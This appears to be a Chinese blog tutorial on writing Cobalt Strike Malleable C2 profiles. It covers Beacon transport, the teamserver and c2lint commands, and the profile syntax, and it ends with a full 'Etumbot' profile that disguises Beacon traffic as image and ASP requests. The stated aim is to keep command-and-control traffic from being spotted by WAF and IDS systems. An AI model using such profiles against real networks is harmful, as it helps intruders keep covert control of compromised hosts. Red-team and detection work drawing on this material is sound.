Cobalt Strike從入門到精通之定制組態檔進行高級攻擊-有解無憂

在線視頻地址

Cobalt Strike的組態檔講解

簡介

Beacon是Cobalt Strike為高級攻擊者建模的Payload，使用Beacon通過HTTP，HTTPS或DNS出口網路，而且Beacon非常靈活，支持異步和互動式通信，異步通信既低又慢，Beacon將通訊本地，下載任務，然后進入睡眠狀態，互動式通信實時發生，

cobalt Strike 的Beacon(信標)的一些Http特征資訊可以由C2組態檔進行修改和定制化，所以可定制的C2組態檔可以指定服務端如何發送，接受資料的規律和格式，防止被WAF，IDS對流量進行識別導致被發現，

可以在啟動cs服務端的時候，指定一個組態檔進行加載

./teamserver [external IP] [password] [/path/to/my.profile]

組態檔詳解

檢查組態檔

cobalt Strike提供了一個小程式C2lint，用來檢查你撰寫的組態檔是否是可用的，是否有錯誤，這個程式會檢查你的語法是否正確，并且會生成一個簡單的互動程序讓你預覽，cobalt Strike強烈推薦你在正式使用之前用這個小程式來檢查一下，

./c2lint [/path/to/my.profile]

撰寫組態檔

撰寫一個組態檔最好的方式就是根據現有的組態檔進行修改，現在提供一個github上面的C2-Profiles例子：

https://github.com/rsmudge/Malleable-C2-Profiles

可以看到組態檔大概長這樣：

set global_option "value";

protocol-transaction {
	set local_option "value";

	client {
		# customize client indicators
	}

	server {
		# customize server indicators
	}
}

所有的配置資訊都是寫在{}大括號里面，

例如：


http-get {
        set uri "/fengxuan";
        client {
                metadata {
                        base64;
                        prepend "user=";
                        header "Cookie";
                }
        }
}

這個配置定義了在HTTP協議中Get請求的傳輸，第一句set uri, 表示，在當請求/fengxuan這個URL的時候，會執行以下的配置，

那么整段配置是什么意思呢？

就是在請求/fengxuan 這個地址的時候，http header中的 user欄位里面的內容會進行base64加密然后再進行傳輸，從這個地址接受的回傳包，http header中的 user欄位會進行base64解密，

資料傳輸的標記語法

Statement	Action	Inverse
append "string"	追加"string"引數	去除strings引數的字串
base64	Base64 編碼	Base64 解碼
base64url	對url進行Base64 編碼	對url進行Base64 解碼
mask	XOR mask w/ random key	XOR mask w/ same random key
netbios	NetBIOS 編碼	NetBIOS 解碼
netbiosu	NetBIOS 編碼(大寫)	NetBIOS 解碼(大寫)
prepend "string"	添加"string"引數	去除strings引數的字串

對標記語法處理的四種方式

Statement	What
header "header"	把編碼過后的引數作用于header中
parameter "key"	把編碼過后的引數作用于URL引數中
print	把編碼過后的引數作用于POST方式中的body中
uri-append	將編碼過后的引數追加到URL中

其他的選項

Option	Context	Default Value	Changes
data_jitter		0	向http get和http post服務器輸出中附加隨機長度字串（取決于data_jitter的值），
dns_idle		0.0.0.0	用于采用DNS信標時的ip地址
dns_max_txt		252	最大的 DNS TXT 回傳的長度
dns_sleep		0	在每個dns請求之前的休眠時間. (毫秒值)
dns_stager_prepend			Prepend text to payload stage delivered to DNS TXT record stager
dns_stager_subhost		.stage.123456.	DNS TXT記錄階段使用的子域名，
dns_ttl		1	DNS的TTL值
headers_remove			在客戶端請求中去掉的header值
host_stage		true	Host payload for staging over HTTP, HTTPS, or DNS. Required by stagers.
jitter		0	默認增加的隨機值的比例(0-99%)
maxdns		255	上傳資料時最大的DNS主機名
pipename		msagent_##	使用SMB信標時點對點的名稱
pipename_stager		status_##	Name of pipe to use for SMB Beacon's named pipe stager. Each # is replaced with a random hex value.
sample_name		My Profile	The name of this profile (used in the Indicators of Compromise report)
sleeptime		60000	默認休眠時間(毫秒值)
smb_frame_header			Prepend header to SMB Beacon messages
ssh_banner		Cobalt Strike 4.2	SSH client banner
ssh_pipename		postex_ssh_####	Name of pipe for SSH sessions. Each # is replaced with a random hex value.
tcp_frame_header			Prepend header to TCP Beacon messages
tcp_port		4444	TCP Beacon listen port
uri	http-get, http-post	[required option]	互動時候的URI地址
uri_x86	http-stager		x86 payload stage URI
uri_x64	http-stager		x64 payload stage URI
useragent		Internet Explorer (Random)	默認的User-Agent
verb	http-get, http-post	GET, POST	傳輸的請求協議

撰寫好的組態檔模板

#
# Etumbot Profile
#   http://www.arbornetworks.com/asert/2014/06/illuminating-the-etumbot-apt-backdoor/
#
# Author: @harmj0y
#
set sample_name "Etumbot";

set sleeptime "5000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {

    set uri "/image/";

    client {

        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";
        header "Referer" "http://www.google.com";
        header "Pragma" "no-cache";
        header "Cache-Control" "no-cache";

        metadata {
            netbios;
            append "-.jpg";
            uri-append;
        }
    }

    server {

        header "Content-Type" "img/jpg";
        header "Server" "Microsoft-IIS/6.0";
        header "X-Powered-By" "ASP.NET";

        output {
            base64;
            print;
        }
    }
}

http-post {
    set uri "/history/";

    client {

        header "Content-Type" "application/octet-stream";
        header "Referer" "http://www.google.com";
        header "Pragma" "no-cache";
        header "Cache-Control" "no-cache";

        id {
            netbiosu;
            append ".asp";
            uri-append;
        }

        output {
            base64;
            print;
        }
    }

    server {

        header "Content-Type" "img/jpg";
        header "Server" "Microsoft-IIS/6.0";
        header "X-Powered-By" "ASP.NET";

        output {
            base64;
            print;
        }
    }
}